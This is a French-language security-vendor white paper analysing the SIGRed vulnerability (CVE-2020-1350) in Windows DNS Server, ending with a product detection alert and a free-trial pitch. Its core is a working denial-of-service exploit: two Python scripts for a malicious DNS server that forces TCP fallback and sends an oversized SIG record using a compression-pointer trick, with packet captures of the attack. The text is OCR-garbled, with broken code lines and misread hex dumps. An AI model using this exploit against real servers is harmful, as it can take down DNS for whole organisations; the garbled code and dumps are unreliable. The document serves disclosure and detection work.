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A propos de StreamScan

StreamScan est une firme spécialisée dans la sécurité opérationnelle dans le secteur manufacturier et les PME. Nous
développons de nouvelles solutions de cybersécurité basées sur l'intelligence artificielle (manufacturier, industrie 4.0,
chaine de transformation, etc.). Nos experts assistent également les organisations victimes de cyberattaques afin
d'éradiquer en profondeur la source de l'incident. Nous proposons des solutions concrétes de surveillance pour
rehausser la cybersécurité des organisations :

Technologie CDS

Il est impossible de se protéger ce que I'on ne voit pas. La technologie de détection de cybermenaces (CDS) de
StreamScan est un outil de surveillance informatique pilotée par I'lA qui fournit une visibilité a 360 degrés et sécurise
toutes les machines de votre réseau sans exception. La technologie CDS prend le relais la ou la sécurité du périmetre
s'arréte. Elle donne une visibilité a 360 degrés du réseau, fournit une analyse approfondie et en continu du trafic réseau
afin de détecter les vulnérabilités, les attaques informatiques et les outils malicieux en temps réel. Cette innovante
technologie est spécialement congue pour les entreprises manufacturieres et les PME.

Détections et réponses gérées -MDR

La cybersécurité requiert le savoir-faire d'experts. Afin de repousser toutes tentatives de piratage et d'identifier les
vulnérabilités, nos spécialistes surveillent les réseaux informatiques d'entreprises 24 h/24, 7 j/7. Nous surveillons les
moindres mouvements suspects ou douteux dans votre réseau et nous vous alertons lorsque vous étes ciblés par des
cyberattaques et des activités malicieuses. Nous vous aidons a les contrecarrer le plus rapidement possible.

Réponse aux incidents de sécurité
Une équipe d'experts préts a intervenir 24 h/24, 7 j/7 en cas d'attaque informatique. Nous reprenons le contrdle
rapidement.

Service-Conseil en cybersécurité
De la gouvernance jusqu'aux mesures techniques, nos experts vous accompagnent dans la mise en place de votre plan
stratégique du rehaussement des pratiques de sécurité.

Bilan de santé
Le bilan de santé permet d'évaluer le niveau de maturité et |'efficacité des mesures de sécurité mises en place par une
organisation.

Test d’intrusion
Il permet d'identifier les failles de sécurité pouvant étre exploitées par un pirate informatique. Le test est pratiqué sur
des sites web, des serveurs, des applications, des robots médicaux, etc.

Introduction

Le 14 juillet 2020, une vulnérabilité critique portant le nom de SIGRED (CVE-2020-1350) a été divulguée.
Cette vulnérabilité a un score de sévérité de 10/10 (CVSS) et affecte les versions DNS de Microsoft
Windows serveur de 2003 a 2019. L’exploitation de ladite vulnérabilité peut conduire a un déni de service
de serveurs DNS, ce qui peut avoir un impact majeur sur une organisation.
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Dans le présent article, nous démontrons comment il est possible d’exploiter cette vulnérabilité de maniere
concréte pour faire crasher un serveur DNS de Microsoft.

Apercu du protocole DNS et de la vulnérabilité SIGRED

Dans le monde de l'internet, les périphériques et machines réseau sont identifiés par des adresses IP, et afin
gue la manipulation de ces adresses soit simplifiée, |'utilisation des serveurs DNS est primordiale. Les
serveurs DNS permettent d’assurer la conversion entre les noms d’hotes et les adresses IP, et comme tout
autre actif informationnel, les serveurs DNS peuvent souffrir de certains types de failles mettant a risques
nos systemes et environnements informatiques.

« Windows DNS Server » figure parmi les nombreuses solutions et implémentations de serveurs DNS, et qui
représentent un composant essentiel dans les environnements Windows.

Présentation de la vulnérabilité SIGRED

La vulnérabilité SlGred (CVE-2020-1350) provient d'une erreur dans la fonction « RR_AllocateEx »
responsable de |'allocation de mémoire pour I'enregistrement de ressources DNS. SIG figure parmi les types
de réponses supportées par un serveur DNS, et représente un type d'enregistrement utilisé pour fournir une
signature associée au domaine pour certaines fonctionnalités. La fonction « RR_AllocateEx » dans
I'implémentation du serveur Microsoft DNS manipule ses paramétres avec des registres de 16bits.

En abusant de la vulnérabilité Sigred, un attaquant pourrait forcer I'appel a la fonction en question tout en
passant des parametres de taille supérieure a 65,535 octets, provoquant ainsi un débordement de tampon
de type heap. Ceci conduit a un déni de service du serveur DNS ciblé.

Cette vulnérabilité peut étre exploitée dans I'implémentation DNS de Windows Server lors de la réception
d’une réponse de type SIG. Le traitement des réponses fait partie du fonctionnement des serveurs DNS,
puisque le systeme des noms de domaines consiste en une hiérarchie dont le sommet peut étre appelé a la
racine. Si par exemple un utilisateur dans un réseau interne interroge le serveur DNS local, et que ce dernier
ne possede pas d’enregistrement en relation avec le nom de domaine sollicité par I'utilisateur, le serveur
DNS en question interroge d’autres serveurs plus hauts dans la chaine d'autorité, afin de transmettre la
réponse a l'utilisateur. La figurel illustre un exemple de transmission d’une requéte SIG.
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Regquet SIG
Transaction ID: Oxe123

Requet SIG »

Transaction ID: Oxe455

v

Reponse SIG
Transaction ID: Oxe123

A

a ponse SIG
-~ Transaction ID: Oxe455

Utilisateur Serveur local DNS Windows Serveur qui héberge le domaine
streamscan.ai

Figure 1: Cheminement d’une requéte DNS type SIG.

Exploitation de la vulnérabilité SIGRED

Nous avons développé un logiciel d’attaque (exploit d’attaque) permettant d’exploiter ladite vulnérabilité
dans le serveur DNS afin de provoquer un déni de service. Le but principal de I'exploit de Streamscan est de
forcer 'implémentation du serveur DNS de Windows a manipuler un entier ayant une taille supérieure a
65,535 bytes, et qui représente la taille maximale allouée pour la sauvegarde d‘un entier dans la RAM.

Environnement d’exploitation de la vulnérabilité SIGRED

Afin d’exécuter notre exploit d’attaque, nous avons mis en place un environnement représenté dans la
figure2, ou :

e Clreprésente I'attaquant connecté au réseau local et effectuant une requéte DNS

e S1 représente le serveur DNS LOCAL du réseau ciblé

e Al représente le serveur DNS malicieux géré par I'attaquant.

Requet DNS ( UDP ) tupe SIG

Reponse DNS ( UDP ) type SIG avec le TC=1

Requet DNS (UDP) type SIG i Requet DNS ( TCP ) type SIG
- L

= Réponse permettant d'exploiter la vulnérabilité SIGRed
~

L'attaquant Serveur local DNS Windows Serveur malicieux
llc1" “51]) “Al”

Figure 2: Environnement d'exploitation de la vulnérabilité Sigred.
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Il est important de pouvoir gérer et manipuler les requétes DNS sur notre serveur Al, et pour cela, nous
avons développé un script agissant comme un serveur DNS permettant de communiquer des réponses
malicieuses. Le but de cette manceuvre est de pouvoir envoyer une réponse DNS SIG de taille supérieure a
65,535 octets afin de provoquer I'erreur.

Lancement de I'attaque

La premiere étape de I'attaque comme illustrée dans la figure 2, est d’initier une requéte DNS de type SIG a
partir de la machine de I'attaquant C1 demandant une résolution du nom de domaine « 5.streamscan.ai ».
Cette derniere sera transmise par le serveur DNS local S1 vers le serveur Al responsable de la gestion du
nom de domaine « streamscan.ai ». La requéte sera envoyée au serveur DNS A1 sur le port 53/UDP
puisque le protocole DNS utilise le protocole transport UDP par défaut. La contrainte est que la taille d’'un
message DNS UDP est limitée a 512 octets, ce qui nous empéche de pouvoir envoyer la quantité de
données nécessaire pour provoquer I'erreur sur le serveur DNS S1 (+ 65,535 octets). Pour résoudre ce
probléme, la solution consiste a forcer le serveur DNS a envoyer une requéte transportée par le
protocole TCP au lieu du protocole UDP.

L'avantage avec l'utilisation du DNS sur TCP est qu’il peut transporter des messages DNS allant jusqu’a
65,535 octets. Noter que ce changement de protocole de transport fait partie du fonctionnement du
protocole DNS et est décrit dans la «RFC 5966 DNS over TCP » comme :

« Le comportement normal de tout serveur DNS devant envoyer une réponse UDP qui dépasserait la limite
de 512 octets consiste pour le serveur a tronquer la réponse afin qu'elle tienne dans cette limite, puis a
définir l'indicateur TC dans I'en-téte de réponse. Lorsque le client recoit une telle réponse, il prend
l'indicateur TC comme une indication qu'il doit réessayer via TCP a la place ».

Notre faux serveur DNS (Scriptl) situé dans le serveur Al permet d’intercepter les requétes DNS en
implémentant un serveur de socket de type UDP, écoutant sur le port 53.

Le code suivant (Scriptl) illustre I'implémentation du script Scriptl qui vise principalement a créer une
réponse DNS pour chaque requéte recue, tout en activant le flag TC afin de forcer le serveur DNS a
emmetre une autre réponse utilisant le protocole TCP. La réponse DNS est créée en manipulant les valeurs
hexadécimales correspondant a chaque champ du protocole DNS.

Scriptl
1 import socket
2 import struct
3
4 domain = "streamscan.ai"
5 dn=""join([chr(len(i)) + i for i in domain.split(".")]) + "\x00"
6
7 def udpserver():
8 #create udp socket
9 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
10 replaycode = "\x83\x80"
11
12 response =""
13 response += replaycode
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question = "\x00\x01"

response += question # Question = 1
answerrrs = "\x00\x00" # Answer RRs = 0
response += answerrrs

authority = "\x00\x01" # Authority RRs = 1
response += authority

additional = "\x00\x00" # Additional RRs = 0
response += additional

query = "\x015" + dn # 5.streamscan.ai
response += query

Type = "\x00\x18" #type = SIG
response += Type

Class = "\x00\x01" #Class = IN
response += Class

# Data

data=""

primarynameserver = "\x03ns1\xc0\x0c" #"ns1.5.streamscan.ai'
data = primarynameserver

responsibleauthmailbox = "\x03ms1\xc0\x0c"
data += responsibleauthmailbox

serialnumber = "\xff\x34\xc1\x0f" # serial number
data += serialnumber

refreshinterval = "\x00\x00\x0e\x20" # Refresh Interval
data += refreshinterval

retryinterval = "\x00\x00\xff\x00" # Retry interval
data += retryinterval

expirelimit = "\x00\x02\x60\x50" #expire limit
data += expirelimit

minimumttl = "\x00\x00\x00\x20" #Minimum TTL
data += minimumttl

# Authoritative Nameservers

response += "\xc0\x0c"

atype = "\x00\x06" # Type = SOA

response += atype

aclass = "\x00\x01" # Class = IN

response += aclass

ttl = "\x00\x00\x00\x40" # TTL

response += ttl

datalen = struct.pack('>H', len(data)) # data length
response += datalen

packet = response + data

s.bind(('0.0.0.0', 53))
while True:
try:
request, client_address = s.recvfrom(70000)
print("[+] Received DNS REQUEST over UDP")
s.sendto(request[:2] + packet, client_address)
except:
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Implémentation UDP du serveur DNS (Scriptl)

De cette maniere quand le serveur S1 interroge le serveur Al en envoyant une requéte DNS de type SIG
afin d’obtenir la signature définie pour le domaine « 5. streamscan.ai », notre implémentation DNS

« Scriptl » répond comme illustré sur la figure3 par une réponse malicieuse dont I'indicateur TC est définie
dans I'en-téte.

PEEE S 2020 WS 0 O s 2§ O WS 20 000 . e

Fichier Editer Vue Aler Capture An: Statistiques  Telephonie  Wireless  Outils  Aide
AN 0 IPRERew=7iz(Eaaqn A1
$1 EED - epesen. + adinas
Time Dactpation i SrcPart Dt Port: Length Protocal Info
9 29.525867 _192.168.172.138 | 59435 53 61 DNS Standard query ©xe421 SIG 5.streamscan.ai
192.168.172.13@ 29.839656 108.8.9.50 53 59435 185 DNS Standard query response ©xe421 SIG 5.streamscan.ai SOA nsl.5.streams..

Frame 64: 105 bytes on wire (840 bits), 185 bytes captured (840 bits)
Raw packet data
Internet Protocol Version 4, Src: 192.168.172.13@, Dst: 18.8.8.5@
User Datagram Protocol, Src Port: 53, Dst Port: 59435

+ Domain Name System (response)

[Time: ©.313789000 seconds]) TC=1
Transaction ID: @xe421
+« Flags: ex838@ Standard query response, No error
foas 2000 oooo ooas = Response: Message is a response
.e@e 8... .... .... = Opcode: Standard query (@)
.... .@.. .... .... = Authoritative: Server is not authority for domain
... 1. ... .... = Truncated: Message is truncated |
....... 1 .... .... = Recursion desired: Do query recursively
........ 1... .... = Recursion available: Server can do recursive gqueries
.@.. .... = Z: reserved (@)
wees +v.. ..B. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.......... ® .... = Non-authenticated data: Unacceptable
............ eeee = Reply code: No error (R)
Questions: 1
Answer RRs: @
Authority RRs: 1
Additional RRs: @
« Queries
29160 @a @8 @9 32 88 35 e8 2b @8 55 5 cl e4 21 ML  ...2.5.+ .U...![H
2626 ©0 ©1 o0 o0 00 ©1 @@ @0 ©1 35 ea 73 74 72 6561 ........ . 5.strea
6d 73 63 61 6e B2 61 69 ©@ 8@ 18 @@ @1 c@ Bc 8@ mscan.ai ........ L
© ©6 @@ @1 20 20 60 40 6@ 20 83 6e 73 31 cé Bc 83 ...... @. .nsl... |
6d 73 31 c@ Oc ff 34 c1 ©f ee eo e 26 68 @8 ff MELecads sass o

80 @0 @2 60 Se ee @@ ee 28 bco Poos

© 7 1s the message truncated? (dns. flags. runcated), 2 octets Pacuets: 704 - Affichés: 2 (0.3%)- Temps de chargement: 0:0.61 Profi: Defauit

Figure 3: Réponse DNS envoyée par le serveur A1 (TC=1)

La réponse malicieuse est ensuite retournée au serveur S1. Ce dernier initie une connexion TCP vers le
serveur malicieux Al afin d’envoyer une requéte DNS transportée par le protocole TCP (Voir la figure 4).
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Fichier Edter Ve Allr Capture Anslycer Sttictiques Telephonie Viieless  Outie  Aide
AN2@ LERE
(W [ipstresmen3

BE -] poresson.. + Adnina

=

Source SrcPort DstPort Length Protocol Infa [~
10.8.8.50 29.917997 192.168.172.136 56689 53 52 TCP 566@9+53 [ACK] Seg=1 Ack=1 Win=29312 Len=@ TSval=2423722134 TSecr..
10.8.8.50 29.918129 192.168.172.138° 56609 53 87 DNS Standard query @6xa745 SIG 5.streamscan.ai | |-

» Frame 68: 87 bytes on wire (696 bits), 87 bytes captured (696 bits)
Raw packet data
» Internet Protocol Version 4, Src: 10.8.8.58, Dst: 192.168.172.138
» Transmission Control Protocol, Src Port: 56609, Dst Port: 53, Seq: 1, Ack: 1, Len: 35
» Domain Name System (query)
» TCP Flags

G600 45 @@ 8@ 57 5 @3 46 @@ 40 96 de 38 @a €8 €@ 32 E..W..@. @..8...2
1.5 ...d.,

2612 @ a8 ac 82 dd 21 @8 35 ec 95 @6 3a b 69 bl 8b .

6620 80 18 60 e568 fh 0O 0@ 61010802 9077 10 9 ....h... ..... W..
6936 @2 b7 43 48 60 21 a7 45 ©1 00 00 01 00 00 @0 90  ..CH.!.E ........
2642 @0 @@ 81 35 @a 73 74 72 65 61 6d 73 63 61 6e B2  ...5.str eamscan.

0052 61 69 00 @0 18 o o1 ai.....

Figure 4: Connexion DNS via TCP établi par le serveur S1

Comme déja mentionné auparavant, afin de pouvoir exploiter la vulnérabilité SIGRED, il est important que
la fonction RR_AllocateEx responsable de I'allocation de la mémoire pour I'enregistrement de ressources
DNS manipule un parametre de taille supérieur a 16bits. La taille de ce dernier est calculée en se basant sur
les champs de la réponse SIG. La figure suivante illustre la structure d’une réponse SIG.

N =
omn
=N
[V}
I
I
I
I
I
I
I
=W

1 1 i 330 E L
012345678901 3456789

+—F+—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F+—+—+
| type covered | algorithm | labels |
+—+—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F+—F+—F+—+—+
| original TTL |
+—+—F+—F+—F—F—F+—F—F—F—F—F—F—F—F—F+—F—F—F—F—F+—F—F—F+—F—F—F+—F—F+—F+—F+—+—+
| signature expiration |
+—+—F—F+—F—F—F—F—F—F—F—F—F+—F—F—F+—F—F—F—F—F—F—F—F—F—F—F+—F—F+—F+—F+—+—+
|
+
|
+
/

| signature inception
+—t—tF—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F—F+—+—
| key tag |
+—t—t—t—t—F—F—F—F—F—F—F—F—F—+—+—+ signer's name

|

Figure 5: La structure de I'enregistrement de ressources SIG selon RFC 2535

Le défi de

I’exploitation de la vulnérabilité SIGRED

Pour faire en sorte que la valeur du parameétre représentant la taille de la ressource a allouer dépasse les
16bits, transporter le maximum d’octets dans les champs de la réponse SIG n’est pas suffisant, car la taille
des réponses DNS transportées par le protocole TCP est limitée a 65,535 octets (incluant les headers, et la
requéte).
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Le défi de I'exploitation de la vulnérabilité peut donc se résumer comme suit : « comment faire en sorte
que la taille de ce paramétre puisse étre évaluée a plus que 65,535 octets tout en sachant que la taille de la
réponse DNS ne peut dépasser les 65,535 octets ? »

La magie de I’exploitation de la vulnérabilité SIGRED

Le protocole DNS utilise une forme de compression permettant d’éliminer les répétitions des chaines de
caracteres dans les réponses DNS. La figure suivante illustre un exemple de réponse DNS ou le champ
NAME est encodé sous le format 0xc0 0x0c. L'octet 0xcO indique que la chaine de caractéres en question
est déja présente dans ce paquet DNS a la position 0x0c (12° octet depuis le début du protocole DNS).

Fichier Editer Wue Aller Capture Analyser Statistiques Telephonie Wireless Outils  Aide
Am ;@ RERezs=ETizEFaaan
-ID.addl == 152.168. 172. 130 &A (udp.port == 53 || tcp.port == §3) [*] | Expressin, +  Admn-A13
Source Time Destnation SrcPort Dst Port Length Protocol Info
192.168.172.13@ 30.20290 10.8.9.58 53 56689 618 DNS Standard query response ©xa745 SIG 5.streamscan.ai SIG
10.8.8.58 368.249162 192.168.172.138 56689 53 52 TCP 56609+53 [ACK] Seq=36 Ack=65534 Win=173824 Len=8 TSval=2423722416..

Transaction ID: @xa745

Flags: @xB8la@ Standard query response, No error

Questions: 1

Answer RRs: 1

Authority RRs: @

Additional RRs: @

+5,streamscan.ai: type SIG, class IN
Name Length: 15
[Label Count: 3]
Type: SIG (security signature) (24)
Class: IN (exeeel)

#5.streamscan.ai: type SIG, class IN

Vpe: Security signature) (24)

Class: IN (@xeeel)

Time to live: &4

Data length: 65485

Type Covered: A (Host Address) (1)

Algorithm: RSA/SHA1l (5)

Labels: @

Original TTL: 64 (1 minute, 4 seconds)

Signature Expiration: Jan 2, 197@ 14:15:28.00000000@ Est

ee2e 18 ee el|E°N-Elee 18 60 ©1 ee ee ee 40 ff cd ee ! ....... @...
21 95 60 PO DD 20 40 @@ ©2 68 50 @0 ff dd ee 8@ commoech o Pannon
df co ©6d 66 00 00 00 60 ©O 60 20 @0 08 0@ 88 0@  ........ ........
90 90 90 P02 90 OO 0O GO ©° B0 0 90 00 68 e @@  ........ ........
90 00 00 ©0 20 €0 00 PO ©°O 0O ©0 00 20 P8 e° 0  ........ ........

Figure 6: lllustration de la compression DNS

Afin de pouvoir provoquer I’erreur dans le serveur S1, nous nous sommes basés principalement sur les
deux champs « signature » et « signer’s name » de la réponse SIG. L'idée ici est de remplir le champ
signature avec le maximum de données, puis utiliser le champ signer’s name qui sert a transporter une
chaine de caracteres, mais au lieu de la remplir directement dans le champ signer’s name, le pointeur 0xc0
est utilisé afin de référencer une chaine de caractéeres déja présente dans la réponse et correspondant a

« 5.streamscan.ai ».

Pour pouvoir réaliser cette manceuvre, nous avons mis en place une implémentation TCP du protocole DNS
(Script2 illustré dans le code ci-dessous), qui vise principalement a répondre par des paquets DNS de type
SIG, dont les champs Signature et Signer’s Name sont remplis afin de provoquer 'erreur sur le serveur S1.

Script2

1 import socket

Analyse de la vulnérabilité SIGRED | STREAMSCAN 9



2 import struct
3
4 domain = "streamscan.ai"
5 dn =""join([chr(len(i)) + i for i in domain.split(".")]) + "\x00"
6
def tcpserver():
7 #create tcp socket
8 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 #bind tcp socket on port 53
10 s.bind(('0.0.0.0', 53))
11 s.listen(5)
12 while True:
13 try:
14 conn, client_address = s.accept()
15 print("[+] Received DNS REQUEST over TCP")
data=""
16 "
response =
17 sig = "\x00\x01\x05\x00\x00\x00\x00\x40\x00\x02\x60\x50\x00\xff\xdd\xee\x80\xdf\xc0\x0d" #SIG response
18 sig += "\x00"*65465 # Overflow
19 sigheader = "\xc0\x0c"
20 sigheader += "\x00\x18"
21 sigheader += "\x00\x01"
22 sigheader += "\x00\x00\x00\x40"
23 sigheader += struct.pack('>H', len(sig))
24 . . .
sigresponse = sigheader+sig
25
26
27 response = "\x81\xa0\x00\x01\x00\x01\x00\x00\x00\x00\x015" + dn + "\x00\x18\x00\x01"
28
29 try:
30 data += conn.recv(70000)
31 except:
32 pass
33 .
i packet = data[2:4] + response + sigresponse
35 conn.sendall(struct.pack('>H', len(packet)) + packet)
36 conn.close()
37 except:
38 pass
39
40
41
42
43
44
45
46

Figure 7 : Implémentation TCP du serveur DNS (Script2)
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Comme illustré dans le code précédent « script2 », le champ signature est rempli avec I'octet « \x00 »
(65456 fois), et le champ signature’s name est encodé en « \x0c\x0d » faisant référence a la chaine de
caractéres « 5.streamscan.ai » dans la question DNS.

Sachant que les chaines de caractéeres dans le protocole DNS sont représentées sous le format « <taille>
<valeur> », quand le champ signature’s name pointera donc a la position « \x0d » afin de récupérer la
chaine « 5.streamscan.ai » le caractere « 5 » sera interprété comme étant la taille de la chaine a récupérer,
et va étre converti en décimal (53). Ce qui va mener a récupérer 53 bytes a partir de I'octet suivant le
caractére 5. La figure suivante illustre la réponse DNS malicieuse envoyée au serveur S1 ou I'on peut
remarquer les 53 octets contenus dans le champ signature’s name.

No. Time Source Destination Protocol  Length Info

[Mame Length: 15]
[Labe Count: 31 A il
Type: 5IG (sacuriéyAsignature) (24)
Class: IN (@x@eel)

V¥ Answers

“ S.streamscan.ai: type 5IG, class IN

Mame: S.streamscan.ai
Type: 5IG (security signature) (24)
Class: IN (@x@eeel)
Time to live: 64 (1 minute, 4 seconds)
Data length: 65485
Type Covered: A (Host Address) (1)
Algorithm: RSA/SHAL (5)
Labels: @
Original TTL: 64 (1 minute, 4 seconds)
Signature Expiration: Jan 2, 1978 14:15:23.880008600 Eastern Standard Time
Signature Inception: Jul 13, 197@ 21:54:54.00000000@ Eastern Daylight Time

Key Tag: 32991
ISignEr's name: \nstreamscan\@82ai\eea\esa\e30\000\001¢\T\00e0\030\000\001 000 000 \00R0gH ¢ 000 \001\ 005\ 000'\000\ 000G \BAAH\BEA\002" P\BEOQQ QO € \r\808 000 |
Signature:

Request In: 68

op4e df E@ @d|ee oo @0 20 00 ©0 0D 0@ 0B 0B 00 89
@@ B0 00 0@ 00 00 0B GO GO0 00 00 00 80 0@ 08
@2 o0 o0 20 02 0D 00 DO ©O 90 00 0P 00 90 DO
@@ 80 00 00 00 0B 0B GO GO0 00 00 00 80 0@ 08
@2 02 o0 20 02 0D 00 PO OO0 20 02 o2 00 o0 2O
@@ 80 00 00 00 0B 0B GO GO0 00 00 00 80 0@ 08
@2 02 o0 20 02 0D 00 PO OO0 20 02 o2 00 o0 2O
@9 90 00 B0 00 90 C0 DO 0 0D 00 90 00 20 B8
@2 02 00 20 02 20 00 O 0O 20 02 0O 00 2O 2O 20
@9 90 00 DO 00 PO 00 DO OO0 DO 00 90 00 DO PO 90

Figure 8: Réponse DNS malicieuse envoyée au serveur S1

De cette maniére, sachant que notre réponse DNS transporte la valeur maximale dans chaque champ de la
réponse SIG, a la réception de cette réponse par le serveur S1, la taille de la ressource a allouer dépassera
les 65,535 octets puisque les 53 octets du champ signature’s name seront rajoutées. Ceci va causer un
débordement d’entier faisant planter le serveur DNS.

Dans la vidéo suivante, vous pouvez voir les étapes nécessaires pour exploiter cette vulnérabilité afin de
faire planter le serveur DNS.
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https://youtu.be/nqxsgav5UUg

Détection des tentatives d’exploitation de la vulnérabilité SIGRED par le CDS

Notre technologie de détection de cybermenaces CDS a été déployée lors de I'exploitation de la
vulnérabilité SIGRED. Lorsqu’une telle attaque cible vos serveurs DNS Microsoft, I'alerte ci-dessous sera
générée :

exploitation of SIGRED vulnerability in windows DNS server (cve-2020-1350)

Status: Info Verdict:  No Verdict v Latest activity: 2020/08/03 18:0615

Show 15 v entries Download All

2020/08/03 192188172130 + 108022 +
exploitation of SIORED vulnerability in windows DNS server (cve-2020-1350) + + 182188172130 + 683 +
1725220 080807.068.0504 + 53603 +

Showing 1toloflentries  ( Previous @ Next ,

Figure 9 : alerte du CDS en cas d’attaque de type SIGRED

Lorsque notre technologie CDS génére une alerte, elle fournit un fichier PCAP qui contient I'ensemble des
flows de communications réseau qui sont impliqués dans I'attaque. Le fichier PCAP peut étre consulté
directement via le Dashboard du CDS. Vous pouvez aussi le télécharger et le visualiser via un outil tel que
wireshark.
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alerts : exploitation of SIGRED vulnerability in windows DNS server (cve-2020-1350)
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Figure 9 : Apercu du trafic malicieux détecté par la CDS.

Conclusion

Dans le présent article, nous avons démontré comment il est possible d’exploiter la vulnérabilité SIGRED
pour faire planter un serveur DNS vulnérable. Au regard des impacts majeurs que pourrait avoir
I’exploitation de cette vulnérabilité, nous faisons les recommandations suivantes :

e Appliquer les correctifs de sécurité recommandés pour se protéger contre cette vulnérabilité
o Ne pas se fier uniguement sur les antivirus et les coupe-feux pour vous protéger contre les virus et les

cyberattaques
e Déployer des technologies de sécurité capables de donner une visibilité a 360 degrés sur la sécurité de

votre réseau, tel que la technologie CDS de Streamscan
e Surveiller constamment la sécurité de votre réseau afin de détecter les cyberattaques qui vous ciblent
et les traiter rapidement avant qu’ils se transforment en probleme.

Découvrez comment notre service MDR peut assurer la sécurité de votre réseau

Nous sommes convaincus qu'aprés avoir vu les résultats de notre surveillance MDR, vous ne voudrez plus
laisser votre réseau sans protection. Nous vous proposons donc une évaluation gratuite de 30 jours qui
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comprend :

e Une séance d'information

e Configuration du CDS dans votre réseau

e Evaluation et preuve de valeur gratuite de 30 jours

e Rapport d'activités du premier mois et recommandations

Nos contacts sont les suivants :

Courriel : Freetrial@streamscan.ai
Téléphone : 1 877-208-9040
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